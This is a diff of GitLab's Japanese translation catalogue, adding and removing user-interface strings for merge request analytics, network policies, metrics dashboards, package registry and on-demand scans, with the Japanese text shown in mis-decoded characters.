@@ -14219,6 +14596,9 @@ msgstr "ã‚ãªãŸã® Gitea リãƒã‚¸ãƒˆãƒªã®ä¸€è¦§"
msgid "List available repositories"
msgstr "利用å¯èƒ½ãªãƒªãƒã‚¸ãƒˆãƒªã®ä¸€è¦§"
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14240,6 +14620,9 @@ msgstr "ライブプレビュー"
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14291,8 +14674,8 @@ msgstr "ロックãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“"
msgid "Lock the discussion"
msgstr "ディスカッションをロックã™ã‚‹"
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
-msgstr "%{issuableDisplayName} をロックã—ã¾ã™ã‹ï¼Ÿ<strong>プロジェクトメンãƒãƒ¼</strong> ã®ã¿ã‚³ãƒ¡ãƒ³ãƒˆã§ãã¾ã™ã€‚"
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
+msgstr ""
msgid "Lock to current projects"
msgstr "ç¾åœ¨ã®ãƒ—ロジェクトをロックã™ã‚‹"
@@ -14342,6 +14725,12 @@ msgstr "MD5"
msgid "MERGED"
msgstr "マージ済ã¿"
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14357,6 +14746,9 @@ msgstr "承èªè€…"
msgid "MRApprovals|Approvers"
msgstr "承èªè€…"
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr "変更ã®ã¿è¡¨ç¤º"
@@ -14441,9 +14833,6 @@ msgstr "マニフェストファイルã®ã‚¤ãƒ³ãƒãƒ¼ãƒˆ"
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr "手動ジョブ"
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr "ã“ã®èª²é¡Œã®é †åºã‚’ä¿å­˜ã§ãã¾ã›ã‚“ã§ã—ãŸ"
@@ -14555,9 +14944,6 @@ msgstr "æ案:"
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr "ã“ã®ã‚µãƒ¼ãƒ“スã«ã‚ˆã‚Šã€ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯Mattermostã«ã‚¹ãƒ©ãƒƒã‚·ãƒ¥ã‚³ãƒžãƒ³ãƒ‰ã‚’入力ã—ã¦ã€ã“ã®ãƒ—ロジェクト上ã®ä¸€èˆ¬çš„ãªæ“作ãŒå®Ÿè¡Œã§ãã¾ã™ã€‚"
-msgid "Maven Metadata"
-msgstr "Maven メタデータ"
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14693,6 +15079,15 @@ msgstr "メンãƒãƒ¼"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14702,9 +15097,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr "%{strong_start}%{group_name}%{strong_end} ã¸ã‚¢ã‚¯ã‚»ã‚¹ã§ãるメンãƒãƒ¼"
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr "%{strong_start}%{group_name}%{strong_end} ã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ãŒä¿ç•™ã•ã‚Œã¦ã„るメンãƒãƒ¼"
-
msgid "Memory Usage"
msgstr "メモリ使用é‡"
@@ -14732,15 +15124,15 @@ msgstr ""
msgid "Merge Requests"
msgstr "マージリクエスト"
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr "作æˆã•ã‚ŒãŸãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆ"
msgid "Merge Requests in Review"
msgstr "レビュー中ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆ"
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14756,6 +15148,9 @@ msgstr "今ã™ãマージã™ã‚‹"
msgid "Merge in progress"
msgstr "進行中ã®ãƒžãƒ¼ã‚¸"
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr "マージオプション"
@@ -14819,6 +15214,27 @@ msgstr "競åˆ"
msgid "MergeConflict|origin//their changes"
msgstr "origin //相手ã®å¤‰æ›´"
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr "%{selectStart} ã‹ã‚‰ %{selectEnd} ã¾ã§ %{end} ã®è¡Œã¸ã®ã‚³ãƒ¡ãƒ³ãƒˆ"
@@ -14951,6 +15367,12 @@ msgstr "メトリクスをé¸æŠžã—ã¦ãã ã•ã„"
msgid "MetricChart|Selected"
msgstr "é¸æŠžæ¸ˆ"
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr "メトリクス"
@@ -15053,6 +15475,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr "環境ã¸ã®ãƒ‡ãƒ—ロイã«ã¤ã„ã¦ã¯ã€CI / CD ã®æ–‡æ›¸ã‚’å‚ç…§ã—ã¦ãã ã•ã„。"
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15062,9 +15490,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr "カスタムダッシュボード %{fileName} を作æˆ"
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr "メトリクスを作æˆ"
@@ -15098,9 +15523,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr "ダッシュボードを複製"
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr "複製..."
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] "メトリクスを編集"
@@ -15111,9 +15542,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr "é¡žä¼¼ã®ãƒ¡ãƒˆãƒªã‚¯ã‚¹ã‚’グループ化"
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15141,6 +15569,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr "有効㪠PromQL クエリã§ã‚ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
@@ -15165,6 +15596,9 @@ msgstr "PromQLクエリã¯æœ‰åŠ¹ã§ã™"
msgid "Metrics|Prometheus Query Documentation"
msgstr "Prometheus クエリã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆ"
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15243,6 +15677,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr "Y軸ラベル"
@@ -15292,12 +15729,18 @@ msgid "Milestone"
msgid_plural "Milestones"
msgstr[0] "マイルストーン"
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "ç¾åœ¨ã®ãƒ©ã‚¤ã‚»ãƒ³ã‚¹ã§ã¯ マイルストーンリストを利用ã§ãã¾ã›ã‚“"
msgid "Milestone lists show all issues from the selected milestone."
msgstr "マイルストーンリストã«ã¯ã€é¸æŠžã—ãŸãƒžã‚¤ãƒ«ã‚¹ãƒˆãƒ¼ãƒ³ã®ã™ã¹ã¦ã®èª²é¡Œã‚’表示ã—ã¾ã™ã€‚"
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15463,6 +15906,15 @@ msgstr "ミラーリングを正ã—ã無効化ã—ã¾ã—ãŸ"
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr "ミラーリングã¯ã€é¸æŠžã—ãŸã‚°ãƒ«ãƒ¼ãƒ—ã¾ãŸã¯ãƒ¦ãƒ¼ã‚¶ãƒ¼ãŒãƒ—ランã«å«ã¾ã‚Œã¦ã„ã‚‹å ´åˆã«ã®ã¿åˆ©ç”¨å¯èƒ½ã§ã™ã€‚"
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr "コミット署åã®ã‚¨ãƒ³ãƒ‰ãƒã‚¤ãƒ³ãƒˆãŒã¿ã¤ã‹ã‚Šã¾ã›ã‚“。"
@@ -15508,6 +15960,9 @@ msgstr "Sentry ã¨çµ±åˆã—ã¦ã‚¨ãƒ©ãƒ¼ã‚’モニターã™ã‚‹ã€‚"
msgid "Monitoring"
msgstr "監視"
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr "月"
@@ -15697,12 +16152,45 @@ msgstr "ãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯"
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15712,6 +16200,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15724,6 +16215,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15742,12 +16236,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15772,9 +16272,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15787,9 +16293,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr "ã—ãªã„"
@@ -16181,12 +16732,18 @@ msgstr "リãƒã‚¸ãƒˆãƒªãŒã‚ã‚Šã¾ã›ã‚“"
msgid "No required pipeline"
msgstr "必須パイプラインãªã—"
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr "Runner ãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“"
msgid "No schedules"
msgstr "スケジュールãªã—"
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16274,18 +16831,12 @@ msgstr "準備ãŒã¾ã ã§ãã¦ã„ã¾ã›ã‚“。ã‚ã¨ã§ã‚‚ã†ä¸€åº¦è©¦ã—ã¦ã
msgid "Not started"
msgstr "開始ã•ã‚Œã¦ã„ã¾ã›ã‚“"
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr "éžæ©Ÿå¯†ã®ã‚¨ãƒ”ックを機密ã®è¦ªã‚¨ãƒ”ックã«å‰²ã‚Šå½“ã¦ã‚‹ã“ã¨ã¯ã§ãã¾ã›ã‚“"
-
msgid "Note"
msgstr "注æ„事項"
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr "ã“ã®æ‹›å¾…メール㯠%{mail_to_invite_email} å®›ã«é€ä¿¡ã—ã¾ã—ãŸãŒã€ã‚ãªãŸã¯ %{link_to_current_user} ã¨ã—ã¦ãŠã‚Šã€ãã®Eメールアドレス㯠%{mail_to_current_user} ã§ã™ã€‚"
@@ -16433,9 +16984,6 @@ msgstr "11月"
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr "最上部ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆãƒŠãƒ“ゲーションタブã«ã‚¢ã‚¯ã‚»ã‚¹ã§ãるよã†ã«ãªã‚Šã€è¦‹ã¤ã‘ã‚„ã™ããªã‚Šã¾ã—ãŸã€‚"
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16475,9 +17023,6 @@ msgstr ""
msgid "Number of files touched"
msgstr "æ“作ã—ãŸãƒ•ã‚¡ã‚¤ãƒ«æ•°"
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr "OK"
@@ -16520,21 +17065,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16544,25 +17095,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16620,9 +17177,6 @@ msgstr "プロジェクトメンãƒãƒ¼ã®ã¿"
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr "管ç†è€…ã®ã¿"
-
msgid "Only admins can delete project"
msgstr "管ç†è€…ã ã‘ãŒãƒ—ロジェクトを削除ã§ãã¾ã™"
@@ -16641,6 +17195,9 @@ msgstr "プロジェクトメンãƒãƒ¼ã®ã¿ã‚³ãƒ¡ãƒ³ãƒˆã§ãã¾ã™"
msgid "Only project members will be imported. Group members will be skipped."
msgstr "プロジェクトメンãƒãƒ¼ã®ã¿ãŒã‚¤ãƒ³ãƒãƒ¼ãƒˆã•ã‚Œã¾ã™ã€‚グループメンãƒãƒ¼ã¯ã‚¹ã‚­ãƒƒãƒ—ã•ã‚Œã¾ã™ã€‚"
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16656,9 +17213,15 @@ msgstr "未解決(Open)"
msgid "Open Selection"
msgstr "é¸æŠžæ¸ˆã¿ã®ã‚‚ã®ã‚’é–‹ã"
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr "コメントタイプドロップダウンを開ã"
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr "エラーを開ã"
@@ -16779,18 +17342,12 @@ msgstr ""
msgid "Outbound requests"
msgstr "アウトãƒã‚¦ãƒ³ãƒ‰ãƒªã‚¯ã‚¨ã‚¹ãƒˆ"
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16824,9 +17381,6 @@ msgstr "パッケージã¯ã™ã§ã«ã‚ã‚Šã¾ã™"
msgid "Package deleted successfully"
msgstr "パッケージã¯æ­£å¸¸ã«å‰Šé™¤ã•ã‚Œã¾ã—ãŸ"
-msgid "Package information"
-msgstr "パッケージ情報"
-
msgid "Package recipe already exists"
msgstr "パッケージã®ãƒ¬ã‚·ãƒ”ã¯æ—¢ã«å­˜åœ¨ã—ã¦ã„ã¾ã™"
@@ -16911,6 +17465,12 @@ msgstr "npm コマンドをコピー"
msgid "PackageRegistry|Copy npm setup command"
msgstr "npm セットアップコマンドをコピー"
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr "Yarn コマンドをコピー"
@@ -16926,6 +17486,9 @@ msgstr "パッケージã®å‰Šé™¤"
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -16944,9 +17507,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr "ã¾ã è¡Œã£ã¦ã„ãªã„å ´åˆã¯ã€ %{codeStart}pom.xml%{codeEnd} ファイルã«ä»¥ä¸‹ã‚’追加ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
-msgid "PackageRegistry|Installation"
-msgstr "インストール"
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr "ãŠæ°—ã«å…¥ã‚Šã®ãƒ‘ッケージマãƒãƒ¼ã‚¸ãƒ£ãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã‹ï¼ŸGitLab ã§ã®ãƒ•ã‚¡ãƒ¼ã‚¹ãƒˆã‚¯ãƒ©ã‚¹ã‚µãƒãƒ¼ãƒˆã®æ§‹ç¯‰ã«ãœã²ã”å”力ãã ã•ã„ï¼æ–°ã—ã„パッケージマãƒãƒ¼ã‚¸ãƒ£ã®ã‚µãƒãƒ¼ãƒˆã®æ§‹ç¯‰æ–¹æ³•ã«ã¤ã„ã¦ã¯ã€ %{contributionLinkStart}貢献ドキュメントをã”覧ãã ã•ã„%{contributionLinkEnd}。以下ã¯ã€ç§ãŸã¡ãŒæ³¨ç›®ã—ã¦ã„るパッケージマãƒãƒ¼ã‚¸ãƒ£ã®ãƒªã‚¹ãƒˆã§ã™ã€‚"
@@ -16983,27 +17543,18 @@ msgstr "NuGet コマンド"
msgid "PackageRegistry|Pip Command"
msgstr "pip コマンド"
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr "PyPi"
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr "レジストリ設定"
-
msgid "PackageRegistry|Remove package"
msgstr "パッケージを削除"
@@ -17052,14 +17603,20 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr "èªè¨¼ãƒˆãƒ¼ã‚¯ãƒ³ã‚’使用ã—ã¦èªè¨¼ã‚’設定ã™ã‚‹å¿…è¦ãŒã‚ã‚‹å ´åˆã‚‚ã‚ã‚Šã¾ã™ã€‚ %{linkStart}詳細ã«ã¤ã„ã¦ã¯ã€æ–‡æ›¸ %{linkEnd} ã‚’å‚ç…§ã—ã¦ãã ã•ã„。"
-msgid "PackageRegistry|npm"
-msgstr "npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
+msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
-msgstr "yarn"
+msgid "PackageRegistry|yarn command"
+msgstr ""
msgid "PackageType|Composer"
msgstr ""
@@ -17202,8 +17759,8 @@ msgstr "パスワードã®ç¢ºèª"
msgid "Password successfully changed"
msgstr "パスワードãŒæ­£å¸¸ã«å¤‰æ›´ã•ã‚Œã¾ã—ãŸ"
-msgid "Password was successfully updated. Please login with it"
-msgstr "パスワードã¯æ­£å¸¸ã«æ›´æ–°ã•ã‚Œã¾ã—ãŸã€‚æ–°ã—ã„パスワードã§ãƒ­ã‚°ã‚¤ãƒ³ã—ãªãŠã—ã¦ãã ã•ã„。"
+msgid "Password was successfully updated. Please sign in again."
+msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
msgstr ""
@@ -17706,6 +18263,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr "ã‚ãªãŸã®ãƒ—ロフィールã«ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã‚’記入ã—ã¦ã€ãƒ—ロファイルを完了ã—ã¦ãã ã•ã„"
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17859,15 +18419,15 @@ msgstr "固定(最大1280ピクセル)ã¾ãŸã¯æµå‹•çš„(%{percentage})ã
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "プロジェクトã®æ¦‚è¦ãƒšãƒ¼ã‚¸ã«è¡¨ç¤ºã—ãŸã„コンテンツをé¸æŠžã—ã¾ã™ã€‚"
+msgid "Preferences|Choose what content you want to see on your homepage."
+msgstr ""
+
msgid "Preferences|Customize integrations with third party services."
msgstr "サードパーティã®ã‚µãƒ¼ãƒ“スã¨ã®çµ±åˆã‚’カスタマイズ"
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr "アプリケーションヘッダーã¨ãƒŠãƒ“ゲーションサイドãƒãƒ¼ã®å¤–観をカスタマイズã—ã¾ã™ã€‚"
-msgid "Preferences|Default dashboard"
-msgstr "デフォルトダッシュボード"
-
msgid "Preferences|Display time in 24-hour format"
msgstr "時間を24時間形å¼ã§è¡¨ç¤ºã™ã‚‹"
@@ -17877,6 +18437,9 @@ msgstr "コードビューã§çµ±åˆã‚³ãƒ¼ãƒ‰ã‚¤ãƒ³ãƒ†ãƒªã‚¸ã‚§ãƒ³ã‚¹ã‚’有効ã«
msgid "Preferences|For example: 30 mins ago."
msgstr "例: 30分å‰"
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18168,15 +18731,9 @@ msgstr "ç¾åœ¨ã®çŠ¶æ…‹"
msgid "Profiles|Default notification email"
msgstr "デフォルト通知メール"
-msgid "Profiles|Delete Account"
-msgstr "アカウント削除"
-
msgid "Profiles|Delete account"
msgstr "アカウント削除"
-msgid "Profiles|Delete your account?"
-msgstr "ã‚ãªãŸã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã‚’削除ã—ã¾ã™ã‹ï¼Ÿ"
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr "アカウントを削除ã™ã‚‹ã¨æ¬¡ã®ã‚ˆã†ãªå½±éŸ¿ãŒã‚ã‚Šã¾ã™:"
@@ -18567,6 +19124,9 @@ msgstr "プロジェクトアップロード"
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
